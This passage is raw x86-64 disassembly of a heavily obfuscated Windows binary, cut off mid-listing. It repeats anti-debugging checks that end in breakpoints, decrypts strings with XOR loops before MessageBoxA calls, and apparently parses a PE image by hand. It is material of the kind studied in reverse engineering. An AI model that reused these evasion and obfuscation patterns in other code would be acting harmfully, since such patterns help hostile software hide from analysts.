mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b75a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.1400289f8
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400b09b0
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b825
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b805
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b805
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b825
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b8cf
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b8af
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b8af
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b8cf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.1400290f4
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001b987
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001b967
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001b967
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001b987
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001ba44
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ba24
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ba24
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ba44
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x14001ba71
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14001bb8a
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r13
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x14001bb01
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x14001bae4
mov rsi, qword [rbp - 0x40]
mov r13d, 0x603ef84
movabs r11, 0x8080808080808081
mov rax, qword gs:[8]
movabs r14, 0x8d5b3c2ae1c0860
cmp rax, r12
jne 0x14001bc3e
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bc1e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bc1e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bc3e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001bce8
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bcc8
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bcc8
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bce8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001bd92
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001bd72
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001bd72
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001bd92
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rcx, qword gs:[8]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x14001c178
cmp rcx, r12
jne 0x14001be5d
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001be3d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001be3d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001be5d
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], reloc.WLDAP32.dll_Ordinal_45
mov r10, r15
movabs rbx, 0x10563b41b
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x115b9ef5cb
movabs r9, 0x22b73deb96
movabs r13, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001beb1
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400d4ee0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400d4f30]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400d4e50]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x26dac6bb
mov dword [rbp + 0xc8c], 0xde8accae
mov dword [rbp + 0xc90], 0xf88d6487
mov word [rbp + 0xc94], reloc.WLDAP32.dll_Ordinal_143
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x3e48c1ea6f
movabs r11, 0x7c9183d4de
mov r13d, 0x603ef84
movabs r14, 0x10563b41a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001bf99
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[8]
cmp rax, r12
movabs r14, 0x8d5b3c2ae1c0860
jne 0x14001c0ca
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c0aa
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c0aa
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c0ca
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140027bc5
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c158
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c158
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027bc5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
cmp rcx, r12
jne 0x14001c219
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c1f9
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c1f9
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c219
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movsxd r13, dword [rsi + 0x3c]
add r13, rsi
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001c2e4
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c2c4
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c2c4
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c2e4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x14001c6b7
cmp rax, r12
jne 0x14001c3b1
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf873306
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c391
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c391
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c3b1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
movdqa xmm0, xmmword [0x1400d4f00]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], reloc.WLDAP32.dll_Ordinal_45
mov r10, r15
movabs rbx, 0x10563b41b
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x115b9ef5cb
movabs r9, 0x22b73deb96
movabs r13, 0x10563b41a
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14001c405
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400d4ee0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400d4f40]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400d4e50]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x26dac6bb
mov dword [rbp + 0xccc], 0xde8accae
mov dword [rbp + 0xcd0], 0xf88d6487
mov word [rbp + 0xcd4], reloc.WLDAP32.dll_Ordinal_143
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x3e48c1ea6f
movabs r11, 0x7c9183d4de
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x14001c4dd
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[8]
cmp rax, r12
jne 0x14001c609
mov rax, qword gs:[0x12]
mov ecx, 0x603ef84
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c5e9
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c5e9
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c609
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, r12
jne 0x140027bc5
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c697
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c697
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140027bc5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
cmp rax, r12
jne 0x14001c75d
mov rax, qword gs:[0x12]
mov ebx, 0x603ef84
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c73d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c73d
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c75d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400d4fd0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xe3c5092f
mov dword [rbp + 0x98c], 0x6b538c37
mov dword [rbp + 0x990], 0x8dfe9b85
mov word [rbp + 0x994], 0xcffa
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x10563b41a
movabs r9, 0x1ea1af1b2a
lea r10d, [rax + 0x1e]
movabs r12, 0x10563b41b
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x3d435e3654
cmp r9, rax
jb 0x14001c7d2
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400d50d0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400d4de0]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x3f4e259e8a
movabs r9, 0x1fa712cf45
mov r10d, Ordinal_33
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x14001c88b
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140027bd0
mov rax, qword gs:[8]
mov esi, 0x11b6e372
cmp rax, rsi
mov ebx, 0x603ef84
jne 0x14001c9f4
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c9d4
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c9d4
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c9f4
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001ca9e
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ca7e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ca7e
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ca9e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
xor ecx, ecx
call fcn.140092624
mov rcx, rax
call fcn.14008df04
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001cb57
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cb37
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cb37
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cb57
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001cc01
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cbe1
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cbe1
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cc01
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001ccab
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x12]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cc8b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cc8b
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ccab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
mov edi, 0xf873306
cmp rax, rsi
jne 0x14001cd6a
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cd4a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cd4a
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cd6a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001ce25
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x12]
xor edx, edx
mov eax, 0xf92f44a
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ce05
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ce05
mov rcx, qword gs:[0x12]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ce25
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008def8
int3
mov rax, qword gs:[8]
cmp rax, rsi
jne 0x14001cecf
mov rax, qword gs:[0x12]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x12]
